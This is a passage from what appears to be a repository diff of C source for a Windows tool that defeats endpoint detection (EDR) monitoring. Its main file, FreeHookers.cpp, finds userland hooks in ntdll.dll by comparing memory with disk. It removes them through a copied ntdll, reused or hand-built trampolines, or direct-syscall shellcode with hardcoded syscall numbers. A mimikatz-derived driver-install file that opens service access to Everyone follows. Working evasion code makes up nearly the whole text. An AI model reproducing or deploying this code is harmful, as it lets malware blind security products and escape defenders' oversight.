pe->dataDir = pe->optHeader->DataDirectory;
WORD sizeOfOptionnalHeader = 0;
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
DWORD exportRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
if (exportRVA == 0) {
pe->exportDirectory = NULL;
pe->exportedNames = NULL;
pe->exportedFunctions = NULL;
pe->exportedOrdinals = NULL;
}
else {
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
DWORD AddressOfNames = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
DWORD AddressOfFunctions = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
DWORD AddressOfNameOrdinals = 0;
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
}
pe->relocations = NULL;
return pe;
}
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
LPDWORD exportedNames = pe->exportedNames;
LPDWORD exportedFunctions = pe->exportedFunctions;
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
DWORD nameOrdinal_low = 0;
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
DWORD nameOrdinal_mid;
LPCSTR exportName_mid;
while (nameOrdinal_high - nameOrdinal_low > 1) {
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
if (strcmp(exportName_mid, functionName) > 0) {
nameOrdinal_high = nameOrdinal_mid;
}
else {
nameOrdinal_low = nameOrdinal_mid;
exportName_low = exportName_mid;
}
}
if (!strcmp(exportName_low, functionName))
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
return 0;
}
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
DWORD functionRVA = PE_functionRVA(pe, functionName);
return PE_RVA_to_Addr(pe, functionRVA);
}
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
if ((size_t)sectionSize < patternSize) {
continue;
}
assert(patternSize <= MAXDWORD);
DWORD endSize = sectionSize - (DWORD)patternSize;
for (DWORD offset = 0; offset < endSize; offset++) {
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
if (!memcmp(ptr, pattern, patternSize)) {
return ptr;
}
}
}
return NULL;
}
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
signed long long int maximum;
signed long long int minimum;
switch (relativeReferenceSize)
{
case 1:
minimum = MININT8;
maximum = MAXINT8;
break;
case 2:
minimum = MININT16;
maximum = MAXINT16;
break;
case 4:
minimum = MININT32;
maximum = MAXINT32;
break;
default:
minimum = 0;
maximum = 0;
break;
}
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
switch (relativeReferenceSize) {
case 1:
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 2:
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
case 4:
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
return PE_RVA_to_Addr(pe, rva);
}
break;
default:
minimum = 0;
maximum = 0;
break;
}
}
}
return NULL;
}
+673
View File
@@ -0,0 +1,673 @@
// FreeHookers.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include "UserlandHooks.h"
#define NT_SUCCESS(StatCode) ((NTSTATUS)(StatCode)>=0)
// Sets an arbitrary maximum size of a hook ; ideally, this should be the minimum value of all (potentially patched) functions' lengths
#if _WIN64
#define PATCH_MAX_SIZE 0x18
#else
#define PATCH_MAX_SIZE 0x10
#endif
int debugf(const char* fmt, ...) {
#if _DEBUG
va_list args;
va_start(args, fmt);
int res = vprintf(fmt, args);
va_end(args);
return res;
#else
fmt = 0;
return 0;
#endif
}
/*
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
*/
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
for (size_t i = 0; i < len; i++) {
if (mem[i] != disk[i]) {
size_t patchStartIndex = i;
if (NULL != lenPatch) {
while (mem[i] != disk[i] && i < len) {
i++;
}
*lenPatch = i - patchStartIndex;
}
return &mem[patchStartIndex];
}
}
if (NULL != lenPatch) {
*lenPatch = 0;
}
return NULL;
}
/*
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
* The list is a NULL-terminated array of "diff" elements
*/
diff* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
size_t diffSize;
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
DWORD diffsListLen = 4;
size_t diffsListI = 0;
diff* diffsList = malloc(diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in malloc in findDiffsInRange\n");
exit(1);
}
while (diffAddr != NULL && sizeToScan != 0) {
debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
searchStartMem = (BYTE*)diffAddr + diffSize;
diffsList[diffsListI].mem_ptr = diffAddr;
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
diffsList[diffsListI].size = diffSize;
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
diffsListI++;
if (diffsListI >= diffsListLen) {
diffsListLen *= 2;
diffsList = realloc(diffsList, diffsListLen * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
}
}
diffsList = realloc(diffsList, (diffsListI + 1) * sizeof(diff));
if (NULL == diffsList) {
debugf("bug in realloc in findDiffsInRange\n");
exit(1);
}
diffsList[diffsListI].mem_ptr = NULL;
diffsList[diffsListI].disk_ptr = NULL;
diffsList[diffsListI].size = 0;
return diffsList;
}
/*
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
* Only read-only sections are compared, since writable sections will obviously contain differences.
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
*/
diff* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
diff* list = NULL;
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
nonWritableSection != NULL;
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
debugf("Diffs in section %s:\n", nonWritableSection->Name);
DWORD sectionRVA = nonWritableSection->VirtualAddress;
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
LPVOID searchStartMem = sectionAddrMem;
LPVOID searchStartDisk = sectionAddrDisk;
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
}
return list;
}
/*
* Dumps the full content of a single file, in a newly allocated buffer
*/
PBYTE readFullFileW(LPCWSTR fileName) {
HANDLE hFile = CreateFileW(fileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
DWORD fileSize = GetFileSize(hFile, NULL);
PBYTE fileContent = malloc(fileSize);
DWORD bytesRead = 0;
if (!ReadFile(hFile, fileContent, fileSize, &bytesRead, NULL) || bytesRead != fileSize) {
free(fileContent);
fileContent = NULL;
}
CloseHandle(hFile);
return fileContent;
}
/*
* Checks is a file extists (and is not a directory)
*/
BOOL FileExistsW(LPCWSTR szPath)
{
DWORD dwAttrib = GetFileAttributesW(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES &&
!(dwAttrib & FILE_ATTRIBUTE_DIRECTORY));
}
/*
* Looks for a memory needle in a memory haystack
*/
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
{
if (!haystack)
return NULL;
if (!haystack_len)
return NULL;
if (!needle)
return NULL;
if (!needle_len)
return NULL;
PBYTE h = haystack;
while (haystack_len >= needle_len)
{
if (!memcmp(h, needle, needle_len))
return h;
++h;
--haystack_len;
}
return NULL;
}
/*
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
*/
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
{
SIZE_T haystack_len;
PVOID haystack;
PBYTE patternInExecutableMemory;
MEMORY_BASIC_INFORMATION mbi = { 0 };
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
{
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
break;
}
if (mbi.State != MEM_COMMIT) {
continue;
}
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
continue;
}
haystack = mbi.BaseAddress;
haystack_len = mbi.RegionSize;
while (haystack_len)
{
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
if (!patternInExecutableMemory) {
break;
}
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
return patternInExecutableMemory;
}
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
haystack = patternInExecutableMemory + 1;
}
}
return NULL;
}
VOID unhook(hook* hook, DWORD unhook_method) {
if (unhook_method == UNHOOK_NONE) {
return;
}
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
diff* patches = hook->list_patches;
//merge every small patches into 1 patch to perform a single write
diff patch = patches[0];
int nb_patches = 0;
while (patches[nb_patches].size) {
nb_patches++;
}
diff lastPatch = patches[nb_patches - 1];
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
// Method used to get a NtProtectVirtualMemory function that is safe to use
switch (unhook_method) {
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
// in this case, it is not really "safe" to use
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
break;
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
GetTempPathW(MAX_PATH, ntdlolFilePath);
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
secondNtdll = LoadLibraryW(ntdlolFilePath);
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
break;
case UNHOOK_WITH_DIRECT_SYSCALL:
{
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
pRtlGetVersion RtlGetVersion = (pRtlGetVersion) PE_functionAddr(ntdll_mem, "RtlGetVersion");
OSVERSIONINFOEXW versionInformation = { 0 };
RtlGetVersion(&versionInformation);
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
DWORD oldProtect;
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
PBYTE pShellcode = shellcode;
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
pShellcode += sizeof(mov_eax_syscall_number);
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
pShellcode += sizeof(mov_r10_rcx);
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
pShellcode += sizeof(syscall_ret);
DWORD syscallNumber = 0;
PBYTE scanner = PE_functionAddr(ntdll_disk, "NtProtectVirtualMemory");
for (int i = 0; i < 0x10; i++ , scanner++) {
PDWORD pPotentialSycallNumber = (PDWORD) (scanner + 1);
if (*scanner == 0xB8 && *pPotentialSycallNumber < 0x10000) { //B8 : mov eax, imm32
syscallNumber = *pPotentialSycallNumber;
break;
}
}
if (syscallNumber != 0) {
//syscall number found !
}
else if (versionInformation.dwMajorVersion == 10 && versionInformation.dwMinorVersion == 0) {
syscallNumber = 0x50; // win10
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 3) {
syscallNumber = 0x4F; // win8.1 / 2012 R2
}
else if (versionInformation.dwMajorVersion == 6 && versionInformation.dwMinorVersion == 2) {
syscallNumber = 0x4E; // win8 / 2012
}
else if (versionInformation.dwMajorVersion <= 6) {
syscallNumber = 0x4D; // win7 / 2008 R2 & before
}
else {
printf("UNHOOK_WITH_DIRECT_SYSCALL : unsupported OS version, exiting...");
exit(EXIT_FAILURE);
}
*((DWORD*)(&shellcode[1])) = syscallNumber;
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory) shellcode;
#if !_WIN64
printf("UNHOOK_WITH_DIRECT_SYSCALL not implemented for 32 bits process, exiting...");
exit(EXIT_FAILURE);
#else
break;
}
#endif
default:
printf("Unhook method does not exist, exiting...");
exit(EXIT_FAILURE);
break;
}
//actually remove the hook
DWORD oldProtect;
PVOID patch_mem_ptr = patch.mem_ptr;
SIZE_T patch_size = patch.size;
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
exit(1);
}
for (size_t i = 0; i < patch.size; i++) {
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
}
status = unmonitoredNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&patch_mem_ptr,
&patch_size,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
exit(1);
}
switch (unhook_method) {
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
FreeLibrary(secondNtdll);
}
DeleteFileW(ntdlolFilePath);
break;
}
}
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
}
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
exit(1);
}
return (pNtProtectVirtualMemory)trampoline;
}
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
exit(1);
}
DWORD oldProtect;
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
return (pNtProtectVirtualMemory)trampoline;
}
return NULL;
}
PVOID hookResolver(PBYTE hookAddr) {
PBYTE destination = hookAddr;
BOOL hasFollowedJmp = FALSE;
while (TRUE) {
switch (destination[0]) {
case 0xE9:
{
int diff = *((int*)(&destination[1]));
destination = &destination[5] + diff;
hasFollowedJmp = TRUE;
break;
}
#if _WIN64
case 0xFF:
{
BYTE selector = destination[1];
if (selector != 0x25) {
return NULL;
}
int diff = *((int*)(&destination[2]));
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
destination = (PBYTE)*offsetPtr;
hasFollowedJmp = TRUE;
break;
}
#endif
default:
if (!hasFollowedJmp) {
return NULL;
}
else {
return destination;
}
}
}
}
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
}
hook* searchHooks(const char* csvFileName) {
FILE* csvFile = NULL;
DWORD hookListSize = 8;
DWORD hookList_i = 0;
hook* hooksList = calloc(hookListSize, sizeof(hook));
if (NULL == hooksList) {
debugf("calloc failed\n");
exit(1);
}
if (csvFileName) {
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
perror("CSV file could not be opened:");
exit(1);
}
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
}
BOOL hooksFoundInLastModule = TRUE;
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
if (dll_name.Buffer == NULL) {
continue;
}
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
else {
hooksFoundInLastModule = FALSE;
}
printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
if (NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
continue;
}
PE* diskDLL = PE_create(disk_dllContent, FALSE);
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf(" ");
}
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (hooksList == NULL) {
debugf("realloc failed\n");
exit(1);
}
}
printf("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (NULL == hooksList) {
printf("realloc failed\n");
exit(1);
}
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf("Looking for %s trampoline ...\n", h->functionName);
for (diff* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf("\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf("\tTRAMPOLINE NOT FOUND !\n");
}
}
+200
View File
@@ -0,0 +1,200 @@
/*
--- Driver install / uninstall functions.
--- Source and credit: https://github.com/gentilkiwi/mimikatz
*/
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
